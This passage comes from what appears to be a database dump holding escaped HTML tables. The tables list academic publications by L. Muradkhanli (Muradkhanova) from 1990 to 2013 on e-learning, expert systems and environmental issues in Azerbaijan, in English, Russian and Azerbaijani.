width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>E- Education : Challenges and Opportunities</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Caspian International ICT Conference, 27-28 October, Baku</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Creation of Distance Education System</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference “Distance Learning : Problems, and Perspectives of Development”, Almaty</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>pp.116-118<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Business Applications of Neural Networks</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on Application of Information-Communication Technologies in Science and Education, Baku</p></td><td width=\"57\"><p><strong>2004</strong></p></td><td width=\"76\"><p>pp.20-22.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Prospects of Development and Problems of Distance Education in Azerbaijan</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2003</strong></p></td><td width=\"76\"><p>vol.6, No.1-2. pp.3-13.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Business-To-Business E-Commerce</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p>vol.5, No.1-2. pp.3-15.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Computer Monitoring System of emergencies at the plants of chemical, petrochemical and oil refining industry</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>sixth Baku International Congress “Energy, Ecology, Economy”, Baku, 2002.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Prospects of Development and Future of E-Commerce<br><br></p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>vol.4, No.3-4. pp.21-32.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Manual on Introduction to Computer Science</p></td><td width=\"104\"><p>Book</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>L.Muradkhanova</strong></p><p><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Second edition, Baku, Khazar University Press</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>pp.156.<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Basic measures on the reconstruction of the oil refinery plant, which provide a condition for improving the ecological situation</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>I International&nbsp; Symposium on problems of education and safety of population and territory under the thread of extreme circumstances, November 20-22, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2000</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Introduction to Computer Science</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"104\"><p>Book</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p><p><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Baku, Khazar&nbsp; University Press</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.114</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Expert System for Business Applications</p></td><td width=\"104\"><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>3rd International Conference on Interactive Systems :Man-Computer Interaction Problems, September 22-24, Ulyanovsk, Russia</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Chaos appearance on the base of analysis of the time series</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p><p><strong>&nbsp;</strong></p><p><strong>Mamedova A.T.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Second International Symposium on mathematical and Computational applications, September 1-3, Baku</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.3.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Decision Support System for Managerial Problems</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>№ 3, pp.14-18.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Design of object-oriented data base</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>№ 3, pp.48-52.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Анализ и контроль влияния нефтеперерабатывающих предприятий на окружающую среду</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>İnsanların həyat fəaliyyətinin təhlükəsizliyi problemləri və onun tədrisi üzrə mütəxəssislərin II respublika Elmi praktiki konfransı, Bakı, 1999, səh.177-178</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.177-178.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Suni İntellektin yaradılması üsulları fənnindən məşğələ dərsləri üçün metodik vəsait</p></td><td width=\"104\"><p>Methodological Guidelines</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p>Bakı, AzDNA</p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p><strong>pp.48.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Объектно-ориентированное представление данных и знаний</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1998, №2, стр. 42-46</p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p>№ 2, pp.42-46.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>İntellektual sistemlərin proqram vasitələri və dilləri. Laboratoriya işləri</p></td><td width=\"104\"><p>Methodological Guidelines</p></td><td width=\"123\"><p><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p>Bakı, AzDNA</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p>pp.32.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Интеллектуальная система для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>&nbsp;</p><p>Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1997, №1, стр. 139-142</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p>№ 1, pp.139-142.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>База знаний динамической экспертной системы для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1996, № 4, стр. 191-196</p></td><td width=\"57\"><p><strong>1996</strong></p></td><td width=\"76\"><p>№ 4, pp.191-196.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Application of fuzzy object models for plant control and diagnostic Expert Systems</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Nuriev M.N., Muradkhanova L.G, Sultanova A.B.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Proceedings of ICAFS’96, Second International Conference on Application of Fuzzy Systems and Soft Computing, Siegen, Germany</p></td><td width=\"57\"><p><strong>1996</strong></p></td><td width=\"76\"><p>pp.6-11.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Система принятия плановых решений</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Мурадханова Л.Г., Гардашова Л,А,</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1995, № 4, стр. 192-196</p></td><td width=\"57\"><p><strong>1995</strong></p></td><td width=\"76\"><p>№ 4, pp.192-196.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The object-oriented approach for fuzzy query processing</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Salahli M.A., Muradkhanova L.G, Gardashova L.A</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Proceedings of the International Conference on Application of Fuzzy Systems, Tabriz, Iran</p></td><td width=\"57\"><p><strong>1994</strong></p></td><td width=\"76\"><p>pp.270-272.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Интеллектуальная система прогнозирования экологических показателей нефтеперерабатывающего предприятия</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Материалы I Международной научно-технической конференции «Современные проблемы экологии, методы и средства их решения», Баку, 1994 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1994</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Моделирование и прогнозирование социально-экономического развития производства</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тезисы докладов VII научно-технической конференции молодых ученых и специалистов, Баку, 1992 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1992</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Прогнозирование социально-экономических процессов в регионе с учетом экологических факторов</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Нуриев М. Н., Мурадханова Л.Г.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тематический сборник научных трудов : Автоматизация процессов управления, Баку, АзИУ, 1991 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>База знаний экспертной системы прогнозирования социально-экономических процессов</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов II Всесоюзной научной конференции «Интеллектуализация систем управления», Баку, 1991</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Продукционная модель представления знаний в экспертной системе прогнозирования</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов научно-технической конференции молодых ученых, Баку, 1991</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Учет экологических факторов в задачах прогнозирования социально-экономических процессов в нефтеперерабатывающей отрасли</p></td><td width=\"104\"><p>Article</p></td><td width=\"123\"><p><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p>Деп.АзНИИНТИ, №1606, Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Применение методов искусственного интеллекта в прогнозировании социально-экономических процессов</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов Республиканской научно-практической конференции молодых ученых и специалистов «Актуальные проблемы информатики и вычислительной техники», Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Пронозирование социально-экономических процессов на базе экспертной системы</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов XIII Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1541,962,'en','Leyla Muradkhanli','Leyla Muradkhanli','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"638\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"125\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Azərbaycanda bərpa olunan enerji mənbələrindən istifadə perspektivləri</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Ekoloji problemlər və ekoloji təhsil Respublika Konfransı</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p><p><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p>Pedaqoji Universitet</p></td><td width=\"57\"><p><strong>23-24 Aprel, 2013.<br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Implementation of eLearning in Azerbaijan</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>The 6th International Conference on Application of Information and Communication Technologies</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p><p><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p>AICT 2012,&nbsp; Tbilisi, Georgia</p></td><td width=\"57\"><p><strong>17-19 October, 2012<br><br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The role of Information and Communication Technologies in Education</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>European Neighbourhood Policy and Eastern Partnership: Achievements, Obstacles and Perspectives</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Jean Monnet International Scientific and Practical conference</p></td><td width=\"57\"><p><strong>5-7 May, 2011.<br><br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Blended Learning : The Integration of Traditional Learning and eLearning, Application of Information and Communication Technologies</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>AICT 2011 V International Conference, Baku, Azerbaijan<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>12-14 October, 2011</strong></p></td><td width=\"76\"><p><strong>&nbsp;pp.373-376.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Azerbaijan-Turkey Energy Cooperation</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on “Azerbaijan-Turkey Cooperation”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2009</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Quality Assurance System at Khazar&nbsp; University</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Conference&nbsp; on “Quality&nbsp; Assurance in Higher Education”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2009</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Instructional Design For E-Learning Courses</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on “Information Communication Technologies of&nbsp; E-Learning”, Almaty, Kazakhstan.<br><br><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Economics and Sustainable Development&nbsp;<strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Symposium “Natural Cataclysms and Global Problems of the Modern Civilization”,</p><p>24-27 September, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p>pp.699-701.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Oil refinery and environmental damage in Azerbaijan</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Ninth Baku International Congress “Energy, Ecology, Economy”,</p><p>7-9 June, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p>pp. 482-484.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Environmental Issues of the Caspian Sea<strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>The 14th Annual Central Eurasian Studies Conference, Indiana University, Bloomington, USA.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p>pp.53-54.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Expert system for decision-making problem in economics</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>L.Muradkhanli</strong></p><p><strong>A. Alasgarova,</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>International conference on “Knowledge-Dialogue-Solutions”, ITHEA, Sofia, Bolgaria.</p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Economists view of the environment</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>8<sup>th</sup>&nbsp; Baku International Congress “Energy, Ecology, Economy”, Baku.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>E- Education : Challenges and Opportunities</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Caspian International ICT Conference, 27-28 October, Baku</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Creation of Distance Education System</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference “Distance Learning : Problems, and Perspectives of Development”, Almaty</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>pp.116-118<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Business Applications of Neural Networks</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on Application of Information-Communication Technologies in Science and Education, Baku</p></td><td width=\"57\"><p><strong>2004</strong></p></td><td width=\"76\"><p>pp.20-22.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Prospects of Development and Problems of Distance Education in Azerbaijan</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2003</strong></p></td><td width=\"76\"><p>vol.6, No.1-2. pp.3-13.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Business-To-Business E-Commerce</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p>vol.5, No.1-2. pp.3-15.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Computer Monitoring System of emergencies at the plants of chemical, petrochemical and oil refining industry</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>sixth Baku International Congress “Energy, Ecology, Economy”, Baku, 2002.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Prospects of Development and Future of E-Commerce<br><br></p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>vol.4, No.3-4. pp.21-32.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Manual on Introduction to Computer Science</p></td><td width=\"104\"><p>Book</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>L.Muradkhanova</strong></p><p><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Second edition, Baku, Khazar University Press</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>pp.156.<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Basic measures on the reconstruction of the oil refinery plant, which provide a condition for improving the ecological situation</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>I International&nbsp; Symposium on problems of education and safety of population and territory under the thread of extreme circumstances, November 20-22, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2000</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Introduction to Computer Science</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"104\"><p>Book</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p><p><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Baku, Khazar&nbsp; University Press</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.114</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Expert System for Business Applications</p></td><td width=\"104\"><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>3rd International Conference on Interactive Systems :Man-Computer Interaction Problems, September 22-24, Ulyanovsk, Russia</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Chaos appearance on the base of analysis of the time series</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td 